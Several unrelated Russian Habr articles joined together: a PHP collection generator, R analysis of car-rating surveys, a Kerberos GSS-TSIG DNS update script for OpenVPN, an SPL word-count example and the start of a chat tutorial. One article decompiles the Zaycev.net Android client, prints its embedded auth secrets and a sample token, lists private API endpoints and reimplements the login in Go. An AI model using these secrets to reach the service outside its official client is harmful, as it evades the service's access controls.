**Результат работы расположен здесь:** <https://bitbucket.org/pantagruel74/collectiongenerator/src/master/>
Там же, в readme файле можно найти подробное описание API коллекций.
**В composer пакет добавлен под псевдонимом:**
pantagruel74/collection-generator
Использование
-------------
Внутри пакета находится класс, `Pantagruel74\CollectionGenerator\CollectionGenerator` с методом `generateForClass(string $class): void` .
Метод принимает в себя строку – полное имя класса, к которому хотим создать коллекцию. В качестве результата создает (если еще не создана) в директории класса папку collections и генерирует в ней файл класса-коллекции.
Самый удобный способ использования – создать новую команду под генерацию в CLI той среды, в которой вы работаете, принимающую имя класса в качестве аргумента, и использующую ColectionGenerator внутри этой команды. Можно использовать и в отдельном скрипте, без CLI, но это потребует ручного подключения autoloader’а
Пример команды на Yii2
----------------------
`namespace app\application\commands;
use Pantagruel74\CollectionGenerator\CollectionGenerator;
use yii\console\Controller;
class CodegenController extends Controller
{
public function actionCollection($class)` `{` (`new CollectionGenerator())->generateForClass($class);`
`}`}
В результате выполнения команды:
`php yii codegen/collection` `app\domains\orders\entities\OrderEntity`
будет сгенерирован класс
`app\domains\orders\entities\collections\OrderEntityCollection` .
Заключение
----------
Это мой первый опыт в создании open-source пакетов. Будут рад любой обратной связи, критике или советам по улучшению кода.
Ссылки
------
[Подробную инструкцию и API коллекций посмотрите в репозитории](https://bitbucket.org/pantagruel74/collectiongenerator)
[Packagist](https://packagist.org/packages/pantagruel74/collection-generator) | https://habr.com/ru/post/671542/ | null | ru | null |
# Рейтинги автомобильных марок: пример анализа переменных с множественным откликом
[](https://habrastorage.org/webt/h2/ao/sb/h2aosb01wroheacfhj8ljd76gxs.png)
В анкетных маркетинговых исследованиях довольно часто встречаются вопросы, в которых респонденты могут выбрать несколько подходящих вариантов из списка возможных ответов (check all that apply questions). Ответы респондентов на такие вопросы задают переменные с множественным откликом (multiple-response variables). Подходящие статистического методы для работы с multiple-response переменными не являются широко известными. В этой статье мы рассмотрим анализ таких переменных на примере данных об автомобильных рейтингах.
### Данные
Это типичный пример вопроса анкеты, допускающего несколько вариантов ответа
[](https://habrastorage.org/webt/_r/s6/it/_rs6itoe57z8ih3vtqnwivdiii4.png)
Customer Satisfaction Survey Template. Источник: [Survey Monkey](https://www.surveymonkey.com/mp/customer-satisfaction-survey-template/)
Мы будем использовать в этой статье данные об автомобильных рейтингах (Van Gysel 2011). Они являются свободно распространяемыми и включены в R-пакет [plfm](https://CRAN.R-project.org/package=plfm). Эти данные стоит воспринимать только как объект для демонстрации математических методов и средств визуализации. Не стоит полагать, что результаты получены на основе полноценного репрезентативного опроса какой-либо группы.
В заглавной картинке приведен обзор данных, все снимки по клику открываются в полном размере. Мы видим, что в опросе приняло участие 78 респондентов. Анкета исследования выясняла мнения о 14 автомобильных марках. Для каждого из них респонденты отмечали те характеристики (из предложенного списка с 15 наименованиями), которым автомобиль соответствует. На снимке выше показано, что 40 респондентов полагают, что Fiat 500 является привлекательным автомобилем.
### Сравнение рейтингов
Для сравнения рейтингов по характеристикам между двумя автомобилями используется хорошо известный тест МакНемара, точнее его вариация McNemar mid-p test. Этот тест анализирует парные наблюдения. Поправка mid-p позволяет работать с выборками малого размера и является менее консервативной чем точный биномиальный тест. Подробности можно найти, например, в этой статье (Fagerland, Lydersen, and Laake 2013).
[](https://habrastorage.org/webt/qp/-_/tz/qp-_tzqohvjhtiwcuzgh3wskrpe.png)
На диаграмме в центе отображаются только статистически значимые, при заданном confidence level, различия в рейтингах между парой сравниваемых автомобилей. Синий цвет соответствует более высокому значению рейтинга для первого автомобиля, красный — для второго.
Мы можем поменять confidence level значение и, при желании, убрать группирующую каёмку на диаграмме.
[](https://habrastorage.org/webt/7s/6-/qr/7s6-qrilyh8on0ksi6jmhefmqrq.png)
Также можно сравнить значения рейтингов автомобиля со средне-выборочными рейтингами по всем 14 автомобилям. В этом случае используется binomial mid-p тест.
[](https://habrastorage.org/webt/md/9b/6x/md9b6xpbmu_phh6_qnjvcb51mg0.png)
И McNemar mid-p тест, и binomial mid-p тест доступны в R-пакете [exact2x2](https://CRAN.R-project.org/package=exact2x2), но могут быть легко реализованы базовыми средствами `R`.
### Зависимость между двумя multiple-response переменными
Задача стоит так: мы выбрали какой-либо набор характеристик и произвольную пару моделей автомобилей. Можно ли утверждать, что распределения ответов респондентов для этих автомобилей независимо? Иными словами, у нас нет оснований полагать, что существует какая-то статистическая взаимосвязь в выставлении оценок для этих двух марок в заданном множестве характеристик.
Рассмотрим для примера такую таблицу 8x8:
[](https://habrastorage.org/webt/to/pv/ne/topvnesirnqxvl8twxamn099p7w.png)
В ней значение клетки, скажем Opel Corsa | Economical — Volkswagen Golf | Relible, равное 41, означает, что ровно 41 респондент указал, что Opel Corsa экономичный автомобиль и Volkswagen Golf — надежный.
Если и Opel Corsa, и Volkswagen Golf были бы single-response переменными, то эта таблица задавала бы совместное распределение этих переменных. Тогда мы могли бы применить к этой таблице критерий хи-квадрат для проверки независимости этой пары переменных. Но у нас совсем другой случай и по данным этой таблицы, например, даже неясно какое число респондентов полагает, что Opel Corsa — это экономичный автомобиль.
За каждой клеткой этой маргинальной таблицы сидит таблица 2x2, которая определяет распределение в отдельной паре выбранных характеристик. Эти 8 таблиц для диагональных клеток маргинальной таблицы как раз использовались в тестах МакНемара для этой пары автомобилей.
Но и этого набора из всех 64 таблиц недостаточно, чтобы задать совместное распределение двух multiple-response переменных с 8 категориями каждая. В общем случае, для этого понадобится таблица размером . Так, сумма 64 хи-квадрат статистик, найденных для таблиц 2x2, из-за зависимости наблюдений (не переменных) во входных данных, не является значением  распределения. Сведения из таблицы  позволяют найти поправку Рао-Скотта 2-ого порядка и применить ее к сумме этих 64 хи-квадрат значений. Подробности и формулировка критерия о независимости могут быть найдены в статье (Bilder and Loughin 2004).
Для каждой пары автомобилей с заданным набором характеристик и при выбранном уровне значимости проверяем гипотезу о независимости этих переменных. Если гипотеза о независимости отвергается, эту пару автомобилей соединяем ребром с весом равным p-значению полученной статистики Рао-Скотта. Получаем взвешенный граф, к которому опционально применяем алгоритм нахождения минимального остовного дерева (для каждой связной компоненты графа). То есть, оставляем минимально возможное число наиболее сильных связей.
[](https://habrastorage.org/webt/es/tm/ot/estmot04cd0dbt7uylwfmi07oa0.png)
При клике на картинку она откроется в полном размере.
Почти у половины автомобилей в полученном графе наиболее сильная зависимость наблюдается с Volkswagen Golf.
Если выбрана вершина графа, то в дополнение отображается treemap диаграмма хи-квадрат статистик 2x2 таблиц с парами характеристик для смежных вершин.
[](https://habrastorage.org/webt/ry/ql/jp/ryqljpinbtpgkbbo-k2molbfubk.png)
[](https://habrastorage.org/webt/gk/yi/ln/gkyiln3lr0dpinwqotm0sseogua.png)
Размер клетки пропорционален значению хи-квадрат статистики, цвет определяется логарифмом отношения шансов: синий спектр — положительные величины, белый цвет — ноль, красный спектр — отрицательные величины. Цветовая шкала не симметрична, то есть левая граница по абсолютной величине не обязательно совпадает с правой границей шкалы.
Ниже показаны примеры минимального остовного дерева с другим набором характеристик и графа с полным набором связей.
[](https://habrastorage.org/webt/c2/kw/do/c2kwdotexjdht9glm6sfo6rdsa0.png)
[](https://habrastorage.org/webt/xx/5a/dp/xx5adpj24efnpz3nq7galscf5ik.png)
### Вычисления и запуск приложения
Подход предложенный в работе (Bilder and Loughin 2004) реализован в R-пакете [MRCV](https://CRAN.R-project.org/package=MRCV). Однако для рассмотренной выше маргинальной таблицы 8x8 функция проверки независимости для этих переменных из этой библиотеки возвращает ошибку: *cannot allocate vector of size 32.0 Gb*. Причина в том, что в процессе вычислений возникают матрицы порядка .
Был предложен подход, в котором реализация этого теста в `R` не требует столь большого объема памяти и является значительно более производительным. Для сравнения, вычисление полного графа с 14 вершинами и 7 характеристиками в пакете `MRCV` потребует более 30 минут. В улучшенной реализации это вычисление выполняется около 1 секунды. [В этом pdf](https://github.com/e-chankov/MItest_improvements/blob/master/Improved%20implementation%20of%20the%20marginal%20independence%20test.pdf) можно найти подробности этого метода вычислений. Исходный код и тесты производительности доступны [на github](https://github.com/e-chankov/MItest_improvements).
Вы можете самостоятельно запустить это shiny приложение выполнив в R команды
```
library(shiny)
runGitHub("BrandsAnalysis", "e-chankov")
```
Предварительно убедитесь, что у вас установлены
**необходимые библиотеки**
```
#### shiny libraries
library(shiny) # version 1.0.5
library(shinythemes) # version 1.1.1
library(shinydashboard) # version 0.6.1
library(shinyBS) # version 0.61
library(shinyWidgets) # version 0.3.6
#### libraries for visualization
library(wordcloud2) # version 0.2.0
library(highcharter) # version 0.5.0
library(googleVis) # version 0.6.2
library(visNetwork) # version 2.0.1
library(RColorBrewer) # version 1.1-2
#### data munging libraries
library(data.table) # version 1.10.4
library(checkmate) # version 1.8.4
library(Matrix) # version 1.2-11
library(igraph) # version 1.1.2
library(stringi) # version 1.1.5
```
Входные данные читаются из текстового файла. Приложение можно применить для анализа данных опросов о любых брендах со своим набором характеристик. Требования ко входным данным можно прочитать в [описании](https://github.com/e-chankov/brandsAnalysis) приложения.
### Литература
Bilder, C., and T. Loughin. 2004. “Testing for Marginal Independence Between Two Categorical Variables with Multiple Responses.” Biometrics 60 (1): 241–48. <http://dx.doi.org/10.1111/j.0006-341X.2004.00147.x>.
Fagerland, Morten W., Stian Lydersen, and Petter Laake. 2013. “The Mcnemar Test for Binary Matched-Pairs Data: Mid-P and Asymptotic Are Better Than Exact Conditional.” BMC Medical Research Methodology 13 (1): 91. <https://doi.org/10.1186/1471-2288-13-91>.
Van Gysel, E. 2011. “Perceptuele Analyse van Automodellen Met Probabilistische Feature Modellen.”
Master’s thesis, Hogeschool-Universiteit Brussel. | https://habr.com/ru/post/345296/ | null | ru | null |
# Безопасное динамическое обновление DNS записей в Windows домене из Linux (GSS-TSIG)
Необходимость в таком обновлении возникла у меня в такой ситуации: на линуксе поднят openvpn сервер, к нему коннектятся удаленные клиенты. Openvpn сервер сам динамически выдает адреса клиентам и, хотелось бы, чтобы он и создавал dns записи с common name сертификата на DNS сервере, который интегрирован в Active Directory. Тут можно пойти простым путем, и поставить в свойстве зоны «Динамическое обновление» опцию «Небезопасные и безопасные», но тогда любой, кто имеет доступ к DNS серверу, сможет менять записи зоны – не комильфо. Если поставить «Только безопасные», то DNS сервер обязательно будет требовать аутентификацию по протоколу GSS-TSIG. Дальше пойдет речь о том, как это все настроить.
Для начала, создаём пользователя домена с минимальными правами, например ddns и задаём ему сложный пароль и опцию «Срок действия пароля не ограничен». У этого пользователя должно быть достаточно прав на изменение записей dns-зоны. В свойставх dns-зоны должна быть выбрана опция «Только безопасные обновления».
Устанавливаем Kerberos клиент:
```
sudo apt-get install krb5-user
```
Отредактируем /etc/krb5.conf:
```
[libdefaults]
default_realm = DOMAIN.LOCAL
[realms]
DOMAIN.LOCAL = {
kdc = 192.168.2.200
kdc = 192.168.2.202
default_domain = domain.local
admin_server = 192.168.2.200
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
```
Хотя клиент будет работать даже в такой конфигурации:
```
[libdefaults]
default_realm = DOMAIN.LOCAL
```
Для Kerberos важным моментом является синхронность часов севера и клиента. Можно установить службу ntpd – она будет поддерживать корректное время:
```
sudo apt-get install ntp
```
С помощью ktutil создадим keytab файл, в котором будут храниться данные для аутентификации пользователя ddns:
```
sudo ktutil
ktutil: addent -password -p ddns@DOMAIN.LOCAL -k 1 -e rc4-hmac
ktutil: write_kt krb5.keytab
ktutil: quit
```
Теперь можно проверить, насколько всё сделано правильно:
```
kinit -k -t krb5.keytab ddns
```
Никакого вывода быть не должно. Можно посмотреть полученные билеты:
```
klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: ddns@DOMAIN.LOCAL
Valid starting Expires Service principal
29.04.2014 14:50:39 30.04.2014 00:50:39 krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
renew until 30.04.2014 14:50:39
```
Если keytab поместить по умолчанию (etc/krb5.keytab), то можно сократить команду:
```
kinit -k ddns
```
Теперь остается только настроить openvpn. Для этого в конфигурационном файле сервера openvpn должна быть опция:
```
learn-address /etc/openvpn/learn-address.sh
```
Сам скрипт learn-address.sh:
```
#!/bin/bash
dnsserver=192.168.2.200
fwdzone=domain.local
revzone=7.168.192.in-addr.arpa
ttl=300
op=$1
addr=$2
revaddr=`echo $addr | sed -re 's:([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+):\4.\3.\2.\1.in-addr.arpa:'`
cn=$3
fqdn=$cn.$fwdzone
dir=/etc/openvpn/dns
addfile=$dir/add_$addr
delfile=$dir/del_$addr
keytab_file=/etc/openvpn/krb5.keytab
user=ddns
addRecord() {
kinit -k -t $keytab_file $user
cat > $addfile << EOF
gsstsig
server $dnsserver
zone $fwdzone
update delete $fqdn a
update add $fqdn $ttl a $addr
send
zone $revzone
update delete $revaddr ptr
update add $revaddr $ttl ptr $fqdn
send
EOF
cat > $delfile << EOF
gsstsig
server $dnsserver
zone $fwdzone
update delete $fqdn a
send
zone $revzone
update delete $revaddr ptr
send
EOF
nsupdate -v $addfile
rm -f $addfile
}
delRecord() {
kinit -k -t $keytab_file $user
nsupdate -v $delfile
rm -f $delfile
}
case $op in
add|update)
addRecord
;;
delete)
delRecord
;;
*)
echo "Unable to handle operation $op. Exiting" exit 1
esac
```
Подытожу: Ключевым моментом является опция **gsstsig** в файле, который передается утилите **nsupdate**. При этом должен быть получен билет (ticket) от контроллера домена с помощью **kinit <user>**. | https://habr.com/ru/post/221843/ | null | ru | null |
# Реверсинг Android клиента музыкального сервиса Zaycev.net и имплементация api на go
Строго говоря, к реверсингу данную статью можно отнести только с натяжкой.
Всем вам знаком такой сервис как zaycev.net. Не ошибусь, предположив, что каждый хоть раз качал с него музыку, либо через web-интерфейс, либо через мобильное приложение.
**По просьбе со стороны представителей сервиса заменил в публикации константы, при желании вы можете их запросить.**
Если вам все же интересно, добро пожаловать под кат.
Часть первая. Разбор полетов
============================
Однажды один мой хороший знакомый попросил разобраться как работает их официальный клиент под Android. Скачав клиент, я приступил к изучению и загрузил подопытного в Jadx (Dex to Java decompiler). Все ссылки в конце статьи.
Первое, что бросается в глаза — наличие обфускации:
Ну не беда, прорвемся, не впервой ведь. Беглый осмотр показал, что нужный нам функционал сосредоточен в пакете:
> package free.zaycev.net.api;
**Оригинальный Код авторизации:**
```
public synchronized String b() {
String str;
if (Looper.myLooper() == Looper.getMainLooper()) {
throw new IllegalThreadStateException("Method must run in not main thread!");
} else if (ae.b(ZaycevApp.a.y())) {
String str2 = "";
str2 = "";
str2 = "";
try {
str = (String) new JSONObject(g.a("https://api.zaycev.net/external/hello", false)).get("token");
if (ZaycevApp.W().equals("4pda")) {
str2 = str + "kmskoNdkYHDnl3ol3";
a.a();
} else {
str2 = str + "kmskoNdkYHDnl3ol3";
}
h.a("ZAuth", "token - " + str2);
str2 = a(str2);
str = new JSONObject(g.a(String.format("https://api.zaycev.net/external/auth?code=%s&hash=%s", new Object[]{str, str2}), false)).getString("token");
if (!ae.b((CharSequence) str)) {
ZaycevApp.a.e(str);
}
} catch (Exception e) {
}
str = "";
} else {
str = ZaycevApp.a.y();
}
return str;
}
private String a(String str) {
try {
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(str.getBytes());
byte[] digest = instance.digest();
StringBuffer stringBuffer = new StringBuffer();
for (byte b : digest) {
String toHexString = Integer.toHexString(b & 255);
while (toHexString.length() < 2) {
toHexString = "0" + toHexString;
}
stringBuffer.append(toHexString);
}
return stringBuffer.toString();
} catch (Exception e) {
h.a((Object) this, e);
return "";
}
}
```
Как понятно из кода, порядок запросов к сервису таков:
Приветствие, получение Hello token:
> <https://api.zaycev.net/external/hello>
На что сервер отвечает json объектом:
```
{
"token":"I-fte8MSfXjw8bYFQkcq629iB6uLb5thZSoj3rGvlCPG4ZJzpgbFPylrtLDpw7L_qQ2EBeuBIMvA7BUWkwilS8IWUg3CWGwj8SCmdIU5I8M"
}
```
Вычисление hash:
> hash = md5(helloToken + "kmskoNdkYHDnl3ol3")
Забегая вперед, скажу, что константа, зашитая в программу (kmskoNdkYHDnl3ol3), меняется от версии к версии, на данный момент мне встречались 3 разных константы:
> android: "63kQw2LlpV3jv", "kmskoNdkYHDnl3ol3"
>
> ios: "d7DVdaELf"
Аутентификация, получение Access Token:
> <https://api.zaycev.net/external/auth?code=%s&hash=%s>
На что сервер отвечает json объектом:
```
{
"token":"wnfQgLZoLErwL6g_axTTTUkCcobXGLMRZS75Zozr3oC05kWNfd07Bngjpg2VRY2GgXYPaCPqSGarqki6YU278ZO6XJP4RLdNqZMqHFwv-25iH8M_R6rSna2CmnP5OuwgTuUundxiTWqI2Am5rHA2gbU8kbB9Ya0gRJ1mHhq_MpksW3R49Fm4VBDd6vYnNUWykibWmxzxvhRBhJ2dmiKJkw"
}
```
Проверяем работоспособность:
```
curl -X "GET" "https://api.zaycev.net/external/track/1310964?access_token=wnfQgLZoLErwL6g_axTTTUkCcobXGLMRZS75Zozr3oC05kWNfd07Bngjpg2VRY2GgXYPaCPqSGarqki6YU278ZO6XJP4RLdNqZMqHFwv-25iH8M_R6rSna2CmnP5OuwgTuUundxiTWqI2Am5rHA2gbU8kbB9Ya0gRJ1mHhq_MpksW3R49Fm4VBDd6vYnNUWykibWmxzxvhRBhJ2dmiKJkw"
```
JSON-Response:
```
{
"track": {
"name": "Sharp Dressed Man",
"bitrate": 128,
"duration": 258,
"size": 4.08,
"created": 1333340577000,
"userId": 2750888,
"userName": "zver19",
"artistId": 272997,
"artistName": "ZZTop",
"lyrics": {},
"lyricAuthor": [],
"musicAuthor": [],
"rightPossessors": [
{
"url": "http://zaycev.net/legal/reriby",
"name": "nETB",
"pictureUrl": "http://cdnimg.zaycev.net/rp/logo/29/2954-35447.png"
}
],
"artistImageUrlSquare100": "http://cdnimg.zaycev.net/artist/2729/272997-52076.jpg",
"artistImageUrlSquare250": "http://cdnimg.zaycev.net/artist/2729/272997-86370.jpg",
"artistImageUrlTop917": null
},
"rating": 0.0,
"rbtUrl": ""
}
```
Auth token — временный, валиден примерно сутки после чего нужно запрашивать снова.
Выполнив эти простые действия, мы получили Auth токен, который нам потребуется для выполнения запросов к серверу сервиса. Время приступать к поиску запросов, которые используются программой.
Текстовый поиск по "<https://api.zaycev.net>" выдал список всех запросов.
Список API-запросов:
> "<https://api.zaycev.net/external/hello>"
>
> "<https://api.zaycev.net/external/auth?code=%s&hash=%s>"
>
> "<https://api.zaycev.net/external/search?query=%s&page=%s&type=%s&sort=%s&style=%s&access_token=%s>"
>
> "<https://api.zaycev.net/external/autocomplete?access_token=%s&code%s>"
>
> "<https://api.zaycev.net/external/top?page=%s&access_token=%s>"
>
> "<https://api.zaycev.net/external/musicset/list?page=%s&access_token=%s>"
>
> "<https://api.zaycev.net/external/musicset/detail?id=%s&access_token=%s>"
>
> "<https://api.zaycev.net/external/genre?genre=%s&page=%s&access_token=%s>"
>
> "<https://api.zaycev.net/external/artist/%d?access_token=%s>"
>
> "<https://api.zaycev.net/external/track/%d?access_token=%s>"
>
> "<https://api.zaycev.net/external/options?access_token=%s>"
>
> "<https://api.zaycev.net/external/track/%d/download/?access_token=%s&encoded_identifier=%s>"
>
> "<https://api.zaycev.net/external/track/%s/play?access_token=%s&encoded_identifier=%s>"
>
> "<https://api.zaycev.net/external/bugs?access_token=%s>"
>
> "<https://api.zaycev.net/external/feedback?email=%s&clientInfo=%s&text=%s&access_token=%s>"
Часть вторая. Да будет код
==========================
Вот мы и подошли к финальной стади нашего исследования, теперь нам предстоит перенести полученные знания в код. Использовать мы будем, как и указано, как и указано в заголовке статьи язык Go, весь код приводить не буду его вы сможете найти по ссылке в конце статьи.
**Объявим константы API-ссылок**
```
const (
apiURL string = "https://api.zaycev.net/external"
helloURL string = apiURL + "/hello"
authURL string = apiURL + "/auth?"
topURL string = apiURL + "/top?"
artistURL string = apiURL + "/artist/%d?"
musicSetListURL string = apiURL + "/musicset/list?"
musicSetDetileURL string = apiURL + "/musicset/detail?"
genreURL string = apiURL + "/genre?"
trackURL string = apiURL + "/track/%d?"
autoCompleteURL string = apiURL + "/autocomplete?"
searchURL string = apiURL + "/search?"
optionsURL string = apiURL + "/options?"
playURL string = apiURL + "/track/%d/play?"
downloadURL string = apiURL + "/track/%d/download/?"
)
```
Для имплементации выберем один из запросов, например, запрос TOP треков, и опишем JSON объект:
**ZTop struct**
```
type ZTop struct {
Page int `json:"page"`
PagesCount int `json:"pagesCount"`
Tracks []struct {
Active bool `json:"active"`
ArtistID int `json:"artistId"`
ArtistImageURLSquare100 string `json:"artistImageUrlSquare100"`
ArtistImageURLSquare250 string `json:"artistImageUrlSquare250"`
ArtistImageURLTop917 string `json:"artistImageUrlTop917"`
ArtistName string `json:"artistName"`
Bitrate int `json:"bitrate"`
Block bool `json:"block"`
Count int `json:"count"`
Date int64 `json:"date"`
Duration string `json:"duration"`
HasRingBackTone bool `json:"hasRingBackTone"`
ID int `json:"id"`
LastStamp int `json:"lastStamp"`
Phantom bool `json:"phantom"`
Size float64 `json:"size"`
Track string `json:"track"`
UserID int `json:"userId"`
} `json:"tracks"`
}
```
Ошибки специфичные для api:
```
type ClientError struct {
msg string
}
func (self ClientError) Error() string {
return self.msg
}
```
Создадим клиент:
```
type ZClient struct {
client *http.Client
helloToken string
accessToken string
staticKey string
}
```
```
func NewZClient(httpClient *http.Client, token, sKey string) *ZClient {
if httpClient == nil {
httpClient = http.DefaultClient
}
return &ZClient{client: httpClient, accessToken: token, staticKey: sKey}
}
```
Функция запроса Top списка:
```
func (zc *ZClient) Top(page int) (r *ZTop, err error) {
r = &ZTop{}
if err = zc.checkAccessToken(); err != nil {
return r, err
}
values := url.Values{}
values.Add("page", strconv.Itoa(page))
values.Add("access_token", zc.accessToken)
if err := zc.fetchApiJson(topURL, values, r); err != nil {
return r, err
}
return r, err
}
```
Функция, выполняющая http запросы:
```
func (zc *ZClient) makeApiGetRequest(fullUrl string, values url.Values) (resp *http.Response, err error) {
req, err := http.NewRequest("GET", fullUrl+values.Encode(), nil)
if err != nil {
return resp, err
}
resp, err = zc.client.Do(req)
if err != nil {
return resp, err
}
if resp.StatusCode != 200 {
var msg string = fmt.Sprintf("Unexpected status code: %d", resp.StatusCode)
resp.Write(os.Stdout)
return resp, ClientError{msg: msg}
}
return resp, nil
}
```
Функция для декода json:
```
func (zc *ZClient) fetchApiJson(actionUrl string, values url.Values, result interface{}) (err error) {
var resp *http.Response
resp, err = zc.makeApiGetRequest(actionUrl, values)
if err != nil {
return err
}
defer resp.Body.Close()
dec := json.NewDecoder(resp.Body)
if err = dec.Decode(result); err != nil {
return err
}
return err
}
```
**Авторизация**
```
func (zc *ZClient) Auth() (err error) {
if err = zc.checkStaticKey(); err != nil {
return err
}
return zc.hello()
}
func (zc *ZClient) hello() (err error) {
if err = zc.checkStaticKey(); err != nil {
return err
}
t := &ZToken{}
if err := zc.fetchApiJson(helloURL, url.Values{}, t); err != nil {
return err
}
zc.helloToken = t.Token
return zc.auth()
}
func (zc *ZClient) auth() (err error) {
if err = zc.checkHelloToken(); err != nil {
return err
}
r := &ZToken{}
hash := MD5Hash(zc.helloToken + zc.staticKey)
values := url.Values{}
values.Add("code", zc.helloToken)
values.Add("hash", hash)
if err := zc.fetchApiJson(authURL, values, r); err != nil {
return err
}
zc.accessToken = r.Token
return err
}
```
Функция подсчета md5:
```
func MD5Hash(text string) string {
hasher := md5.New()
hasher.Write([]byte(text))
return hex.EncodeToString(hasher.Sum(nil))
}
```
Исходник доступен по приведенным ниже ссылкам.
P.S.: Код очень далек от совершенства. Если есть мысли по его исправлению и улучшению — буду рад вашим реквестам.
Ссылки:
> Jadx: <https://github.com/skylot/jadx>
>
> github: <https://github.com/pixfid/go-zaycevnet>
>
> zaycev.net\_4.9.3\_10.apk: <http://bit.ly/1MZW7UA> | https://habr.com/ru/post/301838/ | null | ru | null |
# Язык программирования SPL — пример решения задачи
В этой статье я расскажу о том, как можно в языке программирования SPL решить классическую задачу: получить список наиболее часто встречающихся в тексте слов. В качестве образца текста возьмем произведение Шекспира [Гамлет](http://erdani.com/tdpl/hamlet.txt).
Далее я сразу приведу пример программы и результат ее работы, а потом подробно разберем все шаг за шагом.
Текст программы:
```
text = #.readtext("hamlet.txt")
words = #.split(text, " ", ".", ",", ";", "'", "!", "?", "-", "(", ")", "[", "]", #.crlf, #.quot)
> i, 1..#.size(words)
>> words[i] = ""
key = #.lower(words[i])
dict[key] += 1
total += 1
<
#.sortval(dict)
#.reverse(dict)
#.output(total, " слов; ", #.size(dict), " уникальных слов")
> i, 1..10
key = dict[i]
#.output(i, " : ", key, " = ", dict[key])
<
```
Результат работы программы:
```
32885 слов; 4634 уникальных слов
1 : the = 1091
2 : and = 969
3 : to = 767
4 : of = 675
5 : i = 633
6 : a = 571
7 : you = 558
8 : my = 520
9 : in = 451
10 : it = 421
```
Теперь разберем подробнее как это работает.
Первая строка:
```
text = #.readtext("hamlet.txt")
```
считывает текст файла «hamlet.txt» в переменную «text».
Затем в строке:
```
words = #.split(text, " ", ".", ",", ";", "'", "!", "?", "-", "(", ")", "[", "]", #.crlf, #.quot)
```
функция "#.split" делит текст «text» на отдельные слова с помощью указанных разделителей и сохраняет результат в массив «words». В списке разделителей также присутствуют системные константы "#.crlf" и "#.quot", которые обозначают символы CRLF (перевод строки) и кавычки ".
Далее идет цикл, который начинается командой ">". В первой строке цикла:
```
> i, 1..#.size(words)
```
указано, что циклить он будет по переменной «i», которая меняется от 1 до количества слов в массиве «words», которое возвращает функция "#.size".
В следующей строке:
```
>> words[i] = ""
```
стоит команда перехода на начало цикла ">>" при условии, что очередное слово «words[i]» — не пустое. Это для того, чтобы не учитывать пустые слова, которые получились при делении текста.
Затем в текстовой переменной «key» получаем очередное слово в нижнем регистре благодаря функции "#.lower":
```
key = #.lower(words[i])
```
и следующая строка:
```
dict[key] += 1
```
выполняет основную работу — в запись из словаря «dict» по ключу «key» прибавляется 1, таким образом подсчитывая количество каждого слова.
В строке:
```
total += 1
```
подсчитывается общее количество слов, которые были учтены, и результат хранится в переменной «total».
Следующая строка:
```
<
```
это конец цикла.
Теперь сортируем словарь «dict» по значению:
```
#.sortval(dict)
```
Сортировка производится в порядке возрастания, поэтому в следующей строке:
```
#.reverse(dict)
```
словарь реверсируется в обратный порядок, по убыванию.
В принципе, работа сделана, нужно напечатать результат. Следующая строка выдает немного статистики:
```
#.output(total, " слов; ", #.size(dict), " уникальных слов")
```
где размер словаря «dict», возвращаемый функцией "#.size", дает нам количество уникальных слов.
Следующий цикл:
```
> i, 1..10
```
выводит 10 наиболее часто употребляемых слов.
Эта строка:
```
key = dict[i]
```
получает очередной ключ словаря, который и есть слово,
а следующая строка:
```
#.output(i, " : ", key, " = ", dict[key])
```
печатает и это слово, и сколько раз оно встречается в тексте. Таким образом, обращение к словарю по числовому индексу возвращает нам ключ записи с этим порядковым индексом, а обращение к словарю по текстовому ключу возвращает нам значение записи, которым является число — сколько раз это слово встретилось в тексте.
Последняя команда:
```
<
```
закрывает цикл.
Как видно из этого примера, SPL полностью автоматически определяет тип всех объектов — числовых и текстовых переменных, массивов, а также других объектов. При работе со словарем добавление новых записей производится автоматически.
Спасибо за внимание и успехов в программировании! | https://habr.com/ru/post/330678/ | null | ru | null |
# Делаем электронного консультанта из чата Post Hawk
Недавно вышла новая версия [api](https://bitbucket.org/Slavenin/hawk_api) [Post Hawk](http://post-hawk.com) и [чат](https://bitbucket.org/Slavenin/hawk_chat) основанный на нём. Сегодня хочу показать как можно за минимальное количество времени трансформировать этот чат в электронного консультанта с простенькой панелью управления.
Итак, приступим.
> Для самых нетерпеливых [репозиторий](https://bitbucket.org/Slavenin/hawk_advisor) с тем, что получится в конце и возможность «пощупать руками» — [клиент](http://advisor.post-hawk.com), [панель администрирования](http://advisor.post-hawk.com/admin.php). После клонирования необходимо инициализировать подмодули:
>
>
> ```
> git clone https://bitbucket.org/Slavenin/hawk_advisor
> git submodule init && git submodule update
>
> ```
>
Наш консультант будет состоять из двух частей клиентской и административной.
#### Клиентская часть
Код клиентской части расположился в двух файлах: [index.php](https://bitbucket.org/Slavenin/hawk_advisor/src/43ddede300bd8cb24f8a03a59c3ba2b0eab6f435/index.php?at=master&fileviewer=file-view-default) и [js/client.js](https://bitbucket.org/Slavenin/hawk_advisor/src/99d93eb5828ff9679f3419b8b37a5cc811943a01/js/client.js?at=master&fileviewer=file-view-default). Первый не представляет большого интереса, в нём происходит подключение скриптов и установка основных свойств. В примере используется глобальный объект CHAT\_CONTROL для хранения свойств текущего пользователя. Вы можете выбрать любой другой способ, какой вам больше нравится, например, через шаблонизацию. В качестве id пользователя используется md5 hash сессии, опять же, вы вольны использовать в качестве id, что угодно, главное, чтобы это удовлетворяло параметрам идентификатора: **/^[a-zA-Z\d\\_]{3,64}$/** (в будущем планируется уйти от этого ограничения, но пока так). Id менеджера (ключ CHAT\_CONTROL.manager), который будет общаться с вашими клиентами также должен удовлетворять указанным выше параметрам.
Инициализация чата выглядит следующим образом:
**код**
```
$('#chat').hawkChat({
userId: CHAT_CONTROL.userId, //id пользователя
serverSideUrl: 'Chat.php', //адрес серверного скрипта
groupName: CHAT_CONTROL.groupName, //группа куда будут добавлены все пользователи
useTabs: false, //скрываем табы
useUserList: false, //скрываем список пользователей
inline: false, //делаем чат перетаскиваемым
title: 'Задайте нам вопрос', //заголовок чата
inMessageFormat: ' \
\
{from\_login}: \
{message} \
\
', //меняем формат входящего сообщения
outMessageFormat: ' \
\
Вы: \
{message} \
\
', //меняем формат исходящего сообщения
openWithUser: [CHAT_CONTROL.manager], //открываем вкладку с менеджером
onInMessage: function(msg, str) {
if(msg.event === 'hawk.chat_message')
{
var $body = $('.chat-mesasge-panel.active');
if($body.find('.mCSB_container').size())
{
